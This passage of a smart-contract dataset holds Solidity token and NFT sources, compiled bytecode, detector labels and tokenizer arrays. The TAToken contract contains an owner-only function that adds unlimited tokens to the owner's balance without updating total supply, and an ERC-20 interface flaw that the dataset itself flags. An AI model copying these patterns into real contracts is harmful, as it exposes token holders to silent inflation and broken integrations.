908152604090205481565b610165610244366004610b8a565b60056020526000908152604090205481565b61027d7f00000000000000000000000049225323373027e83e83fe917d3f1232efe6ff0381565b6040516001600160a01b039091168152602001610130565b610123610570565b61014c6102ab366004610c82565b61057d565b60065461014c9060ff1681565b6102016102cb366004610cab565b6105de565b6102016102de366004610c11565b610681565b6101656102f1366004610ba4565b600460209081526000928352604080842090915290825290205481565b6000805461031b90610e00565b80601f016020809104026020016040519081016040528092919081815260200182805461034790610e00565b80156103945780601f1061036957610100808354040283529160200191610394565b820191906000526020600020905b81548152906001019060200180831161037757829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103f79086815260200190565b60405180910390a350600192915050565b60065460009060ff161561045d5760405162461bcd60e51b8152602060048201526017602482015276333ab1b5903a9710122b24ab1034b9903830bab9b2b21760491b60448201526064015b60405180910390fd5b6104688484846108d2565b949350505050565b60007f000000000000000000000000000000000000000000000000000000000000000146146104a6576104a16109b2565b905090565b507fcbf519d851a7ebbfc30a073613f1ec96f541dd2001c80a40fd0a9f63b78ed4c590565b7f00000000000000000000000049225323373027e83e83fe917d3f1232efe6ff036001600160a01b031633146105555760405162461bcd60e51b815260206004820152602960248201527f6675636b20752e20245649562063616e206f6e6c79206265206d696e74656420604482015268313c903b34bb34b0b760b91b6064820152608401610454565b61055f8282610a4c565b5050565b61056d3382610aa6565b50565b6001805461031b90610e00565b60065460009060ff16156105cd5760405162461bcd60e51b8152602060048201526017602482015276333ab1b5903a9710122b24ab1034b9903830bab9b2b21760491b6044820152606401610454565b6105d78383610b08565b9392505050565b7f00000000000000000000000049225323373027e83e83fe917d3f1232efe6ff036001600160a01b0316331461066e5760405162461bcd60e51b815260206004820152602f60248201527f6675636b20752e2076697669616e2063616e206f6e6c79206368616e6765202460448201526e56495620706175736520737461746560881b6064820152608401610454565b6006805460ff1916911515919091179055565b428410156106d15760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f455850495245440000000000000000006044820152606401610454565b60006106db610470565b6001600160a01b0389811660008181526005602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938c166060840152608083018b905260a083019390935260c08083018a90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa1580156107f4573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381161580159061082a5750886001600160a01b0316816001600160a01b0316145b6108675760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b6044820152606401610454565b6001600160a01b0390811660009081526004602090815260408083208b8516808552908352928190208a905551898152919350918a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b6001600160a01b0383166000908152600460209081526040808320338452909152812054600019811461092e576109098382610de9565b6001600160a01b03861660009081526004602090815260408083203384529091529020555b6001600160a01b03851660009081526003602052604081208054859290610956908490610de9565b90915550506001600160a01b0380851660008181526003602052604090819020805487019055519091871690600080516020610e528339815191529061099f9087815260200190565b60405180910390a3506001949350505050565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60006040516109e49190610ce3565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b8060026000828254610a5e9190610dd1565b90915550506001600160a01b038216600081815260036020908152604080832080548601905551848152600080516020610e5283398151915291015b60405180910390a35050565b6001600160a01b03821660009081526003602052604081208054839290610ace908490610de9565b90915550506002805482900390556040518181526000906001600160a01b03841690600080516020610e5283398151915290602001610a9a565b33600090815260036020526040812080548391908390610b29908490610de9565b90915550506001600160a01b03831660008181526003602052604090819020805485019055513390600080516020610e52833981519152906103f79086815260200190565b80356001600160a01b0381168114610b8557600080fd5b919050565b600060208284031215610b9b578081fd5b6105d782610b6e565b60008060408385031215610bb6578081fd5b610bbf83610b6e565b9150610bcd60208401610b6e565b90509250929050565b600080600060608486031215610bea578081fd5b610bf384610b6e565b9250610c0160208501610b6e565b9150604084013590509250925092565b600080600080600080600060e0888a031215610c2b578283fd5b610c3488610b6e565b9650610c4260208901610b6e565b95506040880135945060608801359350608088013560ff81168114610c65578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215610c94578182fd5b610c9d83610b6e565b946020939093013593505050565b600060208284031215610cbc578081fd5b813580151581146105d7578182fd5b600060208284031215610cdc578081fd5b5035919050565b600080835482600182811c915080831680610cff57607f831692505b6020808410821415610d1f57634e487b7160e01b87526022600452602487fd5b818015610d335760018114610d4457610d70565b60ff19861689528489019650610d70565b60008a815260209020885b86811015610d685781548b820152908501908301610d4f565b505084890196505b509498975050505050505050565b6000602080835283518082850152825b81811015610daa57858101830151858201604001528201610d8e565b81811115610dbb5783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610de457610de4610e3b565b500190565b600082821015610dfb57610dfb610e3b565b500390565b600181811c90821680610e1457607f821691505b60208210811415610e3557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122086a4baa696b70fb3849a66055d641471696446df084aaeaf2d1702495838e96964736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2683, 29097, 2063, 2692, 2063, 2620, 16147, 2575, 3540, 22407, 2692, 22394, 2050, 2475, 2063, 2620, 2094, 2620, 2475, 2063, 18139, 2278, 2620, 16576, 2094, 2581, 2575, 2497, 2487, 2098, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 10958, 3089, 1011, 3007, 1013, 14017, 8585, 1013, 5034, 2278, 1013, 19204, 2015, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 3206, 6819, 2615, 18715, 2368, 2003, 9413, 2278, 11387, 1006, 1000, 13801, 6887, 5575, 1000, 1010, 1000, 6819, 2615, 1000, 1010, 2324, 1007, 1063, 4769, 2270, 10047, 28120, 3085, 3954, 1025, 22017, 2140, 2270, 2003, 4502, 13901, 1025, 9570, 2953, 1006, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,330
0x969501b6b9683808bf3d2a4b629787cd7fdec673
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TAToken { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; address public owner; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); modifier onlyOwner { if (msg.sender != owner) throw; _; } /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TAToken() public { totalSupply = 150000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = 70000000 * 10 ** uint256(decimals); // Give the creator all initial tokens name = "Three and the chain"; // Set the name for display purposes symbol = "TA"; // Set the symbol for display purposes owner = msg.sender; } /** * transferOwnership */ function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } /** * Increase Owner token */ function increaseSupply(uint _value) onlyOwner returns (bool) { //totalSupply = safeAdd(totalSupply, value); balanceOf[owner] += _value; return true; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the _spender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce5671461028557806342966c68146102b657806370a08231146102fb57806379cc6790146103525780638da5cb5b146103b757806395d89b411461040e578063a9059cbb1461049e578063b921e163146104eb578063cae9ca5114610530578063dd62ed3e146105db578063f2fde38b14610652575b600080fd5b3480156100ec57600080fd5b506100f5610695565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610733565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea6107c0565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c6565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a6108f3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b506102e160048036038101908080359060200190929190505050610906565b604051808215151515815260200191505060405180910390f35b34801561030757600080fd5b5061033c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a0a565b6040518082815260200191505060405180910390f35b34801561035e57600080fd5b5061039d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a22565b604051808215151515815260200191505060405180910390f35b3480156103c357600080fd5b506103cc610c3c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041a57600080fd5b50610423610c62565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610463578082015181840152602081019050610448565b50505050905090810190601f1680156104905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104aa57600080fd5b506104e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d00565b005b3480156104f757600080fd5b5061051660048036038101908080359060200190929190505050610d0f565b604051808215151515815260200191505060405180910390f35b34801561053c57600080fd5b506105c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610de5565b604051808215151515815260200191505060405180910390f35b3480156105e757600080fd5b5061063c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f68565b6040518082815260200191505060405180910390f35b34801561065e57600080fd5b50610693600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f8d565b005b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561072b5780601f106107005761010080835404028352916020019161072b565b820191906000526020600020905b81548152906001019060200180831161070e57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561085357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506108e884848461102d565b600190509392505050565b600260009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561095657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60056020528060005260406000206000915090505481565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610a7257600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610afd57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cf85780601f10610ccd57610100808354040283529160200191610cf8565b820191906000526020600020905b815481529060010190602001808311610cdb57829003601f168201915b505050505081565b610d0b33838361102d565b5050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d6d57600080fd5b8160056000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050919050565b600080849050610df58585610733565b15610f5f578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610eef578082015181840152602081019050610ed4565b50505050905090810190601f168015610f1c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b5050505060019150610f60565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe957600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561105457600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156110a257600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561113057600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561133d57fe5b505050505600a165627a7a72305820a54605983036c3347701cac6dc64d6b60043b98c16f66e02c46ccd31bb4a050b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 12376, 2487, 2497, 2575, 2497, 2683, 2575, 2620, 22025, 2692, 2620, 29292, 29097, 2475, 2050, 2549, 2497, 2575, 24594, 2581, 2620, 2581, 19797, 2581, 2546, 3207, 2278, 2575, 2581, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 1035, 4469, 2850, 2696, 1007, 2270, 1025, 1065, 3206, 11937, 18715, 2368, 1063, 1013, 1013, 2270, 10857, 1997, 1996, 19204, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 1013, 1013, 2324, 26066, 2015, 2003, 1996, 6118, 4081, 12398, 1010, 4468, 5278, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,331
0x969544fa16d567646e1bc4410c0fe286f0cf732f
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; import "ERC721Enumerable.sol"; import "Ownable.sol"; contract PizzaYolo is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public notRevealedUri; uint256 public cost = 0.069 ether; uint256 public maxSupply = 8888; uint256 public maxMintAmount = 14; uint256 public nftPerAddressLimit = 14; bool public paused = false; bool public revealed = false; bool public onlyWhitelisted = true; bool public uid = false; mapping(address => bool) public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; mapping(address => bool) public airdropList; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()) { uint256 ownerMintedCount = addressMintedBalance[msg.sender]; if(uid == true) { require(isWhitelisted(msg.sender), "user is not whitelisted"); require(_mintAmount <= 2, "max mint amount per session exceeded"); whitelistedAddresses[msg.sender] = false; } else{ require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); } if (airdropList[msg.sender]){ require(_mintAmount <= 1, "max mint amount per session exceeded"); airdropList[msg.sender] = false; } else{ require(msg.value >= cost * _mintAmount, "insufficient funds"); } } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function isWhitelisted(address _user) public view returns (bool) { return whitelistedAddresses[_user]; } function haveAirdrop(address _user) public view returns (bool) { return airdropList[_user]; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return bytes(notRevealedUri).length > 0 ? string(abi.encodePacked(notRevealedUri, tokenId.toString(),".json")) : ""; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(),".json")) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setmaxSupply(uint256 _newmaxSupply) public onlyOwner { maxSupply = _newmaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function setUid(bool _state) public onlyOwner { uid = _state; } function unsetWhitelistUsers(address[] calldata _users) public onlyOwner { for (uint i = 0; i < _users.length; i++) { whitelistedAddresses[_users[i]] = false; } } function whitelistUsers(address[] calldata _users) public onlyOwner { for (uint i = 0; i < _users.length; i++) { whitelistedAddresses[_users[i]] = true; } } function airdrop(address[] calldata _users) public onlyOwner { for (uint i = 0; i < _users.length; i++) { airdropList[_users[i]] = true; } } function unsetAirdrop(address[] calldata _users) public onlyOwner { for (uint i = 0; i < _users.length; i++) { airdropList[_users[i]] = false; } } function withdraw(uint256 _partial) public payable onlyOwner { uint256 _total = address(this).balance / _partial; (bool l, ) = payable(0x9ba109EE14F5AC66ce4A19C7B5c27C2F73B7c952).call{value: _total * 75 / 1000}(""); require(l); (bool t, ) = payable(0xCdE801A2773FEE33D9363340e9ac5a42467D8EeB).call{value: _total * 75 / 1000}(""); require(t); uint256 _total_owner = address(this).balance / _partial; (bool all1, ) = payable(0xBE4Be1c532250eEd6A32Da2D819Aa3CaA83514dB).call{value: _total_owner * 1/3}(""); require(all1); (bool all2, ) = payable(0x2C2905446d5571711c302538A6585d2507D0d809).call{value: _total_owner * 1/3}(""); require(all2); (bool all3, ) = payable(0xCC2e52Cd4Afe8685E4A4c3D72e3f04fc4eE6ed76).call{value: _total_owner * 1/3}(""); require(all3); } }
0x6080604052600436106102e45760003560e01c806355f804b311610190578063a0712d68116100dc578063d0eb26b011610095578063edec5f271161006f578063edec5f2714610b64578063f2c4ce1e14610b8d578063f2fde38b14610bb6578063f514ce3614610bdf576102e4565b8063d0eb26b014610ad3578063d5abeb0114610afc578063e985e9c514610b27576102e4565b8063a0712d68146109e6578063a22cb46514610a02578063a475b5dd14610a2b578063b88d4fde14610a42578063ba7d2c7614610a6b578063c87b56dd14610a96576102e4565b8063715018a611610149578063803fcdd611610123578063803fcdd61461093c5780638da5cb5b1461096557806395d89b41146109905780639c70b512146109bb576102e4565b8063715018a6146108d3578063729ad39e146108ea5780637f00c7a614610913576102e4565b806355f804b31461079d57806358cf77fa146107c65780635c975abb146108035780636352211e1461082e5780636c0360eb1461086b57806370a0823114610896576102e4565b8063239c70ae1161024f5780633c9527641161020857806344a0d68a116101e257806344a0d68a146106e3578063459503581461070c5780634f6ccce7146107355780635183022714610772576102e4565b80633c9527641461065457806342842e0e1461067d578063438b6300146106a6576102e4565b8063239c70ae1461054157806323b872dd1461056c578063284bf051146105955780632e1a7d4d146105be5780632f745c59146105da5780633af32abf14610617576102e4565b8063081c8c44116102a1578063081c8c4414610431578063095ea7b31461045c57806313faede61461048557806318160ddd146104b057806318cae269146104db578063228025e814610518576102e4565b806301ffc9a7146102e957806302329a291461032657806306c933d81461034f57806306fdde031461038c5780630791ec6a146103b7578063081812fc146103f4575b600080fd5b3480156102f557600080fd5b50610310600480360381019061030b91906142fc565b610c0a565b60405161031d9190614a4d565b60405180910390f35b34801561033257600080fd5b5061034d600480360381019061034891906142cf565b610c84565b005b34801561035b57600080fd5b50610376600480360381019061037191906140bf565b610d1d565b6040516103839190614a4d565b60405180910390f35b34801561039857600080fd5b506103a1610d3d565b6040516103ae9190614a68565b60405180910390f35b3480156103c357600080fd5b506103de60048036038101906103d991906140bf565b610dcf565b6040516103eb9190614a4d565b60405180910390f35b34801561040057600080fd5b5061041b6004803603810190610416919061439f565b610e25565b60405161042891906149c4565b60405180910390f35b34801561043d57600080fd5b50610446610eaa565b6040516104539190614a68565b60405180910390f35b34801561046857600080fd5b50610483600480360381019061047e9190614242565b610f38565b005b34801561049157600080fd5b5061049a611050565b6040516104a79190614daa565b60405180910390f35b3480156104bc57600080fd5b506104c5611056565b6040516104d29190614daa565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd91906140bf565b611063565b60405161050f9190614daa565b60405180910390f35b34801561052457600080fd5b5061053f600480360381019061053a919061439f565b61107b565b005b34801561054d57600080fd5b50610556611101565b6040516105639190614daa565b60405180910390f35b34801561057857600080fd5b50610593600480360381019061058e919061412c565b611107565b005b3480156105a157600080fd5b506105bc60048036038101906105b79190614282565b611167565b005b6105d860048036038101906105d3919061439f565b611288565b005b3480156105e657600080fd5b5061060160048036038101906105fc9190614242565b61165a565b60405161060e9190614daa565b60405180910390f35b34801561062357600080fd5b5061063e600480360381019061063991906140bf565b6116ff565b60405161064b9190614a4d565b60405180910390f35b34801561066057600080fd5b5061067b600480360381019061067691906142cf565b611755565b005b34801561068957600080fd5b506106a4600480360381019061069f919061412c565b6117ee565b005b3480156106b257600080fd5b506106cd60048036038101906106c891906140bf565b61180e565b6